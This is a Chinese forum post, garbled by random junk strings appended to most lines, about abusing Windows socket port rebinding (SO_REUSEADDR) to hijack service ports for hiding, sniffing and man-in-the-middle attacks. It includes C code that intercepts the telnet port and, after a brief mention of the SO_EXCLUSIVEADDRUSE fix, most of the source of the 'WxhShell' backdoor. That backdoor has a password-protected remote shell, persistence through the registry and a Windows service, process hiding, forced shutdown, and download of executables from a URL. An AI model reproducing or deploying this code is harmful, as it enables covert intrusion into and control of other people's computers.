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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +!G4tA$g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s ?5 d  
s v6INe:  
  saddr.sin_family = AF_INET; t+jIHo  
%5`r-F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); # UjEY9"M  
> Z]P]e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y>%W;r)  
4YBf ~Pp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fHLFeSfH  
\?r$&K]4  
  这意味着什么?意味着可以进行如下的攻击: 8b{U tT  
OX`?<@6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nhp)yW  
?-4OfGN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c 3}x)aQ  
8u/3?Kc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uF+);ig  
JThk Wx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m9%yR"g9  
fmtuFr^a1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LH bZjZ2  
N'I?fWN!;R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 md.*  
(H'_KPK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o-L|"3 P  
11PLH0  
  #include Ma% E&.ed  
  #include :8GlyN<E  
  #include B 9%yd*SJ  
  #include    ]}jgB 2x7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?aP1  
  int main()  s$K@X `  
  { ' 2;Ny23  
  WORD wVersionRequested; FRb&@(;  
  DWORD ret; n%7A;l!{  
  WSADATA wsaData; a.5zdoH_  
  BOOL val; x& mz-  
  SOCKADDR_IN saddr; 95_[r$C  
  SOCKADDR_IN scaddr; ,{#RrF e  
  int err; *?EjYI  
  SOCKET s; I8E\'`:<  
  SOCKET sc; CUAg{]  
  int caddsize; 8Cf^$  
  HANDLE mt; SQz$kIZR  
  DWORD tid;   'p4da2%  
  wVersionRequested = MAKEWORD( 2, 2 ); YzforM^F  
  err = WSAStartup( wVersionRequested, &wsaData ); l4R<`b\Jt  
  if ( err != 0 ) { ' lQ  
  printf("error!WSAStartup failed!\n"); ^sr:N5~z`  
  return -1; Oc^6u  
  } F[Guy7?O  
  saddr.sin_family = AF_INET; ,"v)vTt  
   Z<$E.##  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8`R +y  
D}k-2RM2k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '#pMEVP  
  saddr.sin_port = htons(23); -(%ar%~Zd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p@!@^1j=  
  { X#f+m) S  
  printf("error!socket failed!\n"); .=et{\  
  return -1; USHlb#*  
  } 5bGjO&$l  
  val = TRUE; J?|K#<%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yhJA;&}>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;r0|_mnf  
  { dA_V:HP  
  printf("error!setsockopt failed!\n"); \E ? iw.}  
  return -1; C7XS6Nqu  
  } !#_h2a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o|p;6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KV) Hywl`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mTI\,x%<OC  
$)kBz*C[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) } Y7W1$he  
  { $9 &Q.Kpq>  
  ret=GetLastError(); /: \VwH  
  printf("error!bind failed!\n"); 8VAYIxRv  
  return -1; 6B!j(R  
  } 6x (L&>F  
  listen(s,2); buxI-wv  
  while(1) %O4}i@Fe  
  { /w}B07.  
  caddsize = sizeof(scaddr); D=q;+,Pc  
  //接受连接请求 O[5_ 9W 4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d-#u/{jG)  
  if(sc!=INVALID_SOCKET) #*7/05)  
  { FJwZo}<6E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6S&=OK^  
  if(mt==NULL) 9wDBC~.  
  { u]>>B>KOJ7  
  printf("Thread Creat Failed!\n"); :<WQ;q  
  break; I!soV0V U]  
  } b[&,%Sm+6  
  } yjM@/b  
  CloseHandle(mt); 08d_DCR  
  } ,;+91lR3  
  closesocket(s); #<PA- y  
  WSACleanup(); 35N/v G0  
  return 0;  7KSGG1ts  
  }   n'&`9M['%d  
  DWORD WINAPI ClientThread(LPVOID lpParam) #)h ~.D{  
  {  HN~v&,  
  SOCKET ss = (SOCKET)lpParam; 9qu24zz$P  
  SOCKET sc; /v;)H#;  
  unsigned char buf[4096]; #ejw@bd  
  SOCKADDR_IN saddr; Jv4D^>yj[  
  long num; :+%h  
  DWORD val; 5sh u76  
  DWORD ret; _ \y0 mc4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9,EaN{GM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _w5~/PbWt  
  saddr.sin_family = AF_INET; PhI6dB`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *3etxnQc  
  saddr.sin_port = htons(23); ek;&<Z_ ]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BJ.8OU*9]S  
  { h<^:Nn  
  printf("error!socket failed!\n"); U<,Kw6K  
  return -1; ,Q /nS$  
  } ~&j`9jdOj  
  val = 100; ?3"D| cS1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gA 6h5F)_  
  { ,p/b$d1p  
  ret = GetLastError(); !$KhL.4P  
  return -1; 7N59B z  
  } dD.d?rnZq7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uZiY<(X  
  { gt t$O  
  ret = GetLastError(); j~L1~@  
  return -1; eDM0417O(  
  } ";S*[d.2tA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~q_+;W.  
  { @y\{<X.F\1  
  printf("error!socket connect failed!\n"); vo( j@+dz  
  closesocket(sc); ?lwQne8/  
  closesocket(ss); kj3o1Y  
  return -1; u0 oYb_Yv  
  } 6nWx>R<  
  while(1) :rs\ydDUF  
  { `j!2uRFe>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >K|GLP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j_a~)o-p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6 XOu~+7  
  num = recv(ss,buf,4096,0); 9M7(_E;)B  
  if(num>0) t{S{!SF4  
  send(sc,buf,num,0); $Z%aGc*  
  else if(num==0) M}oFn}-T9a  
  break; gM5p1?E  
  num = recv(sc,buf,4096,0); X,Q=n2X?3  
  if(num>0) tId !C  
  send(ss,buf,num,0); IL6f~!  
  else if(num==0) "k1Tsd-  
  break; =@jMx^A"  
  } %`\_l  
  closesocket(ss); mv%:[+!  
  closesocket(sc); 4@mXtA  
  return 0 ; } @fu~V/  
  } M+R)P +  
j.'"CU  
\`p~b(  
========================================================== FvNSu"O~K1  
v.LUK  
下边附上一个代码,,WXhSHELL wAOVH].  
nM.?Q}yO~  
========================================================== Nj-rZ%&  
c.{&~  
#include "stdafx.h" h. (;GJO  
ExP25T  
#include <stdio.h> j]l}K*8(  
#include <string.h> FeeWZe0i  
#include <windows.h> )< a8a@  
#include <winsock2.h> G* ~*2>~  
#include <winsvc.h> ,8o*!(uO2  
#include <urlmon.h> 6p=xgk-q  
-b>O4_N  
#pragma comment (lib, "Ws2_32.lib") o`8+#+@f7  
#pragma comment (lib, "urlmon.lib") /e?ux~f|  
0G\myv  
#define MAX_USER   100 // 最大客户端连接数 KJ^GUqVl  
#define BUF_SOCK   200 // sock buffer =U7D}n hS-  
#define KEY_BUFF   255 // 输入 buffer 9H%xZ(`vN  
Y$$?8xr ~  
#define REBOOT     0   // 重启 2l(j 4~g  
#define SHUTDOWN   1   // 关机 j% USu+&  
8(/f!~  
#define DEF_PORT   5000 // 监听端口 07"Oj9NlA  
%3+hz $E  
#define REG_LEN     16   // 注册表键长度 a={qA4N  
#define SVC_LEN     80   // NT服务名长度 I;Fy k70w;  
"gikX/Co=  
// 从dll定义API D:vUy*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I nK)O ';  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V\`= "  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3pv1L~ ZI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jzA8f+:q  
r\ Yur  
// wxhshell配置信息 >;r05,mc  
struct WSCFG { EbYH?hPo  
  int ws_port;         // 监听端口 O#5( U. E  
  char ws_passstr[REG_LEN]; // 口令 /N{@g.edL  
  int ws_autoins;       // 安装标记, 1=yes 0=no  <IDzv'  
  char ws_regname[REG_LEN]; // 注册表键名 0:+uw` %  
  char ws_svcname[REG_LEN]; // 服务名 HWfX>Vf>}k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =egi?Ne  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u&_U CJCf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @OY-(cW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zomNjy*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'CO[s.03  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u\geD  
\ J:T]  
}; ~d `4W<1a  
;GT)sI   
// default Wxhshell configuration Jb.u^3R@  
struct WSCFG wscfg={DEF_PORT, UYrzsUjg&  
    "xuhuanlingzhe", yi;t  
    1, 3 DHA^9<q  
    "Wxhshell", PQ"%Z.F"  
    "Wxhshell", OwIy(ukTI  
            "WxhShell Service", N~J Eia%  
    "Wrsky Windows CmdShell Service", 8si^HEQ8  
    "Please Input Your Password: ", ~[y+B0I3  
  1,  de47O  
  "http://www.wrsky.com/wxhshell.exe", Hf{%N'4  
  "Wxhshell.exe" F-,{+B66  
    }; @CI6$  
GiwA$^Hg\  
// 消息定义模块 \\Tp40m+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *`.{K12T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5g>kr< K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >b?)WNk  
char *msg_ws_ext="\n\rExit."; *9(1:N;#  
char *msg_ws_end="\n\rQuit."; jyH_/X5i7  
char *msg_ws_boot="\n\rReboot..."; ykhCt\t[  
char *msg_ws_poff="\n\rShutdown..."; SY)$2RC+}  
char *msg_ws_down="\n\rSave to "; [gp:nxyfQm  
y]4 `d  
char *msg_ws_err="\n\rErr!";  ly%B!P|  
char *msg_ws_ok="\n\rOK!"; }z-  
^tcBxDC"]  
char ExeFile[MAX_PATH]; X )s7_  
int nUser = 0; Hbc&.W;g7[  
HANDLE handles[MAX_USER]; +##I4vP  
int OsIsNt; Bic { H  
X hX'*{3k  
SERVICE_STATUS       serviceStatus; k K|+W,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VDY1F_Fk  
)_K@?rWS  
// 函数声明 {leG~[d  
int Install(void); E"&9FxS]^  
int Uninstall(void); jUSr t)o03  
int DownloadFile(char *sURL, SOCKET wsh); 8~#Q *  
int Boot(int flag); mxA )r5sx  
void HideProc(void); <XrGr5=BV  
int GetOsVer(void); wx5*!^&j  
int Wxhshell(SOCKET wsl); }c5`~ LLK  
void TalkWithClient(void *cs); rXPx* /C  
int CmdShell(SOCKET sock); VVl-cU  
int StartFromService(void); dKpa5f7  
int StartWxhshell(LPSTR lpCmdLine); 't.F.t  
a\_,_psK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vdk+1AX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); beZ| i 1:  
n`Iy7X  
// 数据结构和表定义 >v,j;[(  
SERVICE_TABLE_ENTRY DispatchTable[] = fGWK&nONyk  
{ T["(YFCByg  
{wscfg.ws_svcname, NTServiceMain}, 7!nAWlQ&-E  
{NULL, NULL} Hvo27THLo  
}; XO~^*[K  
++"PPbOe&D  
// 自我安装 ~GYtU9s5  
int Install(void) 53 05N!  
{ C P{h+yCj  
  char svExeFile[MAX_PATH]; ;}'<`(f&nX  
  HKEY key; -V<"Ay  
  strcpy(svExeFile,ExeFile); 0M+tKFb  
<U pjAuG8  
// 如果是win9x系统,修改注册表设为自启动 }h6z&:qA[?  
if(!OsIsNt) { Y g?{x@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Jh:6F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *=@pdQkR  
  RegCloseKey(key); s9Z2EjQV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8:fiO|~%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >;W(Jb7e  
  RegCloseKey(key); mDf WR  
  return 0; ]t;5kj/  
    } ]bweQw@i  
  } X-F HJ4  
} #?6RoFgMe  
else { ]!:Y]VYN)\  
rtE,SN  
// 如果是NT以上系统,安装为系统服务 x)L@x Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IyP].g1"U  
if (schSCManager!=0) X&Lt?e,&  
{ /Ql}jSKi  
  SC_HANDLE schService = CreateService zUqDX{I8  
  ( rSn7(3e4^  
  schSCManager, q8>Q,F`BA  
  wscfg.ws_svcname, |Wk G='02  
  wscfg.ws_svcdisp, <-}\V!@E!  
  SERVICE_ALL_ACCESS, HCK4h DKo}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bp,CvQ'}a  
  SERVICE_AUTO_START, EdpR| z  
  SERVICE_ERROR_NORMAL, qDAjW)w Jp  
  svExeFile, T<)z2Bi  
  NULL, GK&Dd"v  
  NULL, E76:}(  
  NULL, p#2th`M:P1  
  NULL, Z- (HDn  
  NULL 90}B*3x  
  ); F9W5x=EK\  
  if (schService!=0) I r~X#$Upc  
  { n]Y _C^  
  CloseServiceHandle(schService); 2_X0Og8s[  
  CloseServiceHandle(schSCManager); sf0U(XYQ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GNOC5 E$I  
  strcat(svExeFile,wscfg.ws_svcname); O]lfs >>x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nT"z(\i.!J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {+Yo&F}n  
  RegCloseKey(key); Dy!fwYPA/{  
  return 0; }}_l@5  
    } &)-?=M  
  } SZvsJ)  
  CloseServiceHandle(schSCManager); [_n|n"M  
} G2D<LRWt4  
} $ cSZX#\  
a0.XJR{T"  
return 1; G\%hT5^  
} za7wNe(s  
_wCSL.  
// 自我卸载 t/|^Nt@XT  
int Uninstall(void) Di*>PE@  
{ 6-"&jbvm  
  HKEY key; 4NV1v&"  
S# #W_OlrI  
if(!OsIsNt) { fF%r$`2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G>x0}c  
  RegDeleteValue(key,wscfg.ws_regname); ~55>uw<  
  RegCloseKey(key); `2B+8,{%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bx F  
  RegDeleteValue(key,wscfg.ws_regname); ) |vFrR  
  RegCloseKey(key); soF^G21N  
  return 0; v0=~PN~E  
  } ,dBI=D'  
} z/b*]"g,  
} 4<|u~n*JF  
else { 7~'@m(9e  
G<'S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {y'k wU  
if (schSCManager!=0) d yd_dK/  
{ 7(H/|2;-d8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D$HxPfDZ  
  if (schService!=0) zeX?]@]Y  
  { YSbN=Rj  
  if(DeleteService(schService)!=0) { yFG&Ir  
  CloseServiceHandle(schService); LKa_ofY  
  CloseServiceHandle(schSCManager); P6Ei!t,>  
  return 0; TL>e[ PBO  
  } Wm 61  
  CloseServiceHandle(schService); |UG)*t/  
  } ^gG,}GTl  
  CloseServiceHandle(schSCManager); }R^{<{KVJ  
} ^d,d<Uc  
} 6]VTn-  
iYnt:C  
return 1; GfDA5v[  
} @ 55Y2  
%:lQ ~yn  
// 从指定url下载文件 V6Y!0,w!a  
int DownloadFile(char *sURL, SOCKET wsh) bGZy0.  
{ L6T_&AiL$  
  HRESULT hr; sZc<h]L(g  
char seps[]= "/"; Y%3j >_\;  
char *token; F~EriO  
char *file; k.%F!sK  
char myURL[MAX_PATH]; m`Z4#_s2  
char myFILE[MAX_PATH]; 8Xr"4;}f+  
C}CX n X  
strcpy(myURL,sURL); R##O9BSI8Z  
  token=strtok(myURL,seps); y03l_E,  
  while(token!=NULL) HM/ q B^  
  { ;\h'A(  
    file=token; 8g\.1<~  
  token=strtok(NULL,seps); _>s.V`N'  
  } eX\t]{\oC  
j.o)!S A  
GetCurrentDirectory(MAX_PATH,myFILE); 9E5B.qlw$l  
strcat(myFILE, "\\"); < javZJ  
strcat(myFILE, file); Y3?kj@T`i  
  send(wsh,myFILE,strlen(myFILE),0); %Xn)$Ti ~<  
send(wsh,"...",3,0); 3iB8QO;pp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Nbr{)h  
  if(hr==S_OK) `g7' )MSy  
return 0; q07>FW R  
else ;RXv%ML  
return 1; ]Sh&8 #  
][3 "xP  
} ctf'/IZ5  
- 0zo>[c/p  
// 系统电源模块 $/Mk.(3'P  
int Boot(int flag) ~34$D],D  
{ QeGU]WU{  
  HANDLE hToken; 1z)+P1nH]  
  TOKEN_PRIVILEGES tkp; 6(.&y;  
-szvO_UP  
  if(OsIsNt) { =3FXU{"Qi4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \-^3Pe,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OA+W$  
    tkp.PrivilegeCount = 1; d/e9LK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7{6wNc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fy-( B;  
if(flag==REBOOT) { N3,EF1%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l! GPOmf9`  
  return 0; aD.A +es  
} D`u{U]  
else { Ou/{PK}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i+OyBDkJM!  
  return 0; Q?~l=}2  
} ~! @a  
  } W*P/~U=  
  else { ,\VNs'j  
if(flag==REBOOT) { 3 Tt8#B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k7j;'6  
  return 0; 56fcifXz@  
} >d =k-d  
else { !+i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {9(N?\S1`a  
  return 0; o^Ms(?K%t  
} a}6Wo=  
} [K^RC;}nV^  
'INdZ8j_  
return 1; cEe>Lyt  
} !aLL|}S  
T7[ItLZ  
// win9x进程隐藏模块 4]Krx m`8  
void HideProc(void) C@xh$(y  
{ 86[T BX5'  
g1Aq;Ah/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Do-!G+W  
  if ( hKernel != NULL ) <MoWS9s!yb  
  { |',Gy\Sj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?]:3`;h3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^;L;/I[-  
    FreeLibrary(hKernel); \MnlRBUM,  
  } ^27r-0|l^  
^hU7QxW  
return; RK|C*TCnl  
} gVO[R6C5C  
F;kNc:X`)  
// 获取操作系统版本 !iMsTH<  
int GetOsVer(void)  E;k'bz  
{ leiP/D6s  
  OSVERSIONINFO winfo; < }G7#xg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cO' \s  
  GetVersionEx(&winfo); fxjs"rD5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %{axoGd  
  return 1; WUKYwA/t  
  else ri6_u;Ch  
  return 0; TeQpmhN  
} geua8;  
^MuO;<<,.  
// 客户端句柄模块 EiSS_Lc  
int Wxhshell(SOCKET wsl) G>"w$Us  
{ < f1Pj  
  SOCKET wsh; Y7 = *-  
  struct sockaddr_in client; Ig~lD>dnr'  
  DWORD myID; Or0=:?4`  
 t;{/Q&C  
  while(nUser<MAX_USER) 9|fg\C  
{ .^ soX}  
  int nSize=sizeof(client); Ao(Xz$cQfW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YHl6M&*@  
  if(wsh==INVALID_SOCKET) return 1; ]JbGP{UiN  
FgLV>#)-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Z0@4_Y@B6  
if(handles[nUser]==0) Eb[*nWF=  
  closesocket(wsh); }!x\qpA  
else YuFJJAJ  
  nUser++; USv: + .  
  } Y$shn]~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V|)3l7IC<  
(i1 ]+.  
  return 0; YhRES]^  
} |X0h-kX4  
UO>ADRs}  
// 关闭 socket m!V ?xGKJ  
void CloseIt(SOCKET wsh) d[J+):aW  
{ xh,};TS(K  
closesocket(wsh); > T=($:n  
nUser--; vdV@G`)HPr  
ExitThread(0); gh#9<  
} ihdN{Mx<2  
pO[ @2tF  
// 客户端请求句柄 x[zt(kC0+  
void TalkWithClient(void *cs) D:4Iex9$F"  
{ 9 "7(Jq  
l~.ae,|7  
  SOCKET wsh=(SOCKET)cs; $C#G8Ck,  
  char pwd[SVC_LEN]; vvwNJyU-  
  char cmd[KEY_BUFF]; )%I2#Q"Nt-  
char chr[1]; [LbUlNq^B@  
int i,j; |wZcVct~  
Kf/1;:^  
  while (nUser < MAX_USER) { fYBmW')  
KEEHb2q  
if(wscfg.ws_passstr) { >+ul LQqe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nkUSd}a`r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EBc_RpC/Z  
  //ZeroMemory(pwd,KEY_BUFF); V4PI~"4q#1  
      i=0; hCS|(8g  
  while(i<SVC_LEN) { 4$ya$Y%s%  
O`<id+rx  
  // 设置超时 G(" S6u  
  fd_set FdRead; xEb+sE6Z  
  struct timeval TimeOut; MOi.bHCQJP  
  FD_ZERO(&FdRead); .SzP ig  
  FD_SET(wsh,&FdRead); ',$Uw|N  
  TimeOut.tv_sec=8; -PPH]?],  
  TimeOut.tv_usec=0; t"4RGO)jh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yhxen  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %5Q5xw]w3  
46OYOa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I?r7dQEm  
  pwd=chr[0]; kK\G+{z?  
  if(chr[0]==0xd || chr[0]==0xa) { N8S !&*m  
  pwd=0; 9.)*z-f$  
  break; Z]OXitt7  
  } Z<jio  
  i++; o_R<7o/d|  
    } 'RZ=A+%X  
 3 c #oK  
  // 如果是非法用户,关闭 socket >zx]% W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <+o*"z\mI  
} 1$mxMXNsJ  
HGM? ?=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sxc^n aK0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .LMOmc=(  
F<H[-k*t/  
while(1) { Av6=q=D  
4j+FDc`  
  ZeroMemory(cmd,KEY_BUFF); ])Rs.Y{Q5  
VAPRI\uM;  
      // 自动支持客户端 telnet标准   `TwDR6&  
  j=0; YD>5zV%!D  
  while(j<KEY_BUFF) { ;r<(n3"F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b/;!yOF  
  cmd[j]=chr[0]; :buH\LB*P  
  if(chr[0]==0xa || chr[0]==0xd) { 17kh6(X  
  cmd[j]=0; qTxw5.Ai!  
  break; cC@.&  
  } 0oR'"Vo  
  j++; YNHQbsZUI,  
    } dZ^(e0& :H  
_7e ^ t N  
  // 下载文件 f+3ico]f@  
  if(strstr(cmd,"http://")) { ~hiJOaCzM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "wwAbU<  
  if(DownloadFile(cmd,wsh)) t 3LRmjL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n/]w!  
  else $FR1^|P/G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X~+AaI :~K  
  } EY+/ foP  
  else { 8d4:8}  
4sJM!9eb[  
    switch(cmd[0]) { -o: if F|  
  'OEh'\d+x  
  // 帮助 i*ibx;s-  
  case '?': { Z:_ wE62'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $+'bRUo  
    break; %PF:OB6[|  
  } ayGYVYi  
  // 安装 GTYCNi66  
  case 'i': { 9c pjO  
    if(Install()) R k'5L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  F6'[8f  
    else 7c.96FA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v$n J$M&k  
    break; pk>p|q  
    } EuH[G_5e0  
  // 卸载 MawWgd*  
  case 'r': { XHN*'@ 77;  
    if(Uninstall()) $!Qv f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WF#3'"I  
    else F R57F(31  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @$:T]N3m  
    break; Nj5V" c  
    } X6h@K</c^:  
  // 显示 wxhshell 所在路径  s*XE  
  case 'p': { UYw_k\  
    char svExeFile[MAX_PATH]; *HC[LM  
    strcpy(svExeFile,"\n\r"); 3P}^Wu  
      strcat(svExeFile,ExeFile); -=;V*;  
        send(wsh,svExeFile,strlen(svExeFile),0); _R/^P>Q?  
    break; D6Q6yNE  
    } h eR$j  
  // 重启 |M;tAG$,"y  
  case 'b': { 6x]x>:8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); An.Qi=Cv  
    if(Boot(REBOOT)) 6_rgj{L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cu |S|]g  
    else { YZ0y_it)  
    closesocket(wsh); !Py SYY  
    ExitThread(0); LvM;ZfAEv  
    } 0aWy!d  
    break; II,snRD  
    } b '9L}q2m  
  // 关机 9e aqq  
  case 'd': { n "J+? ~9  
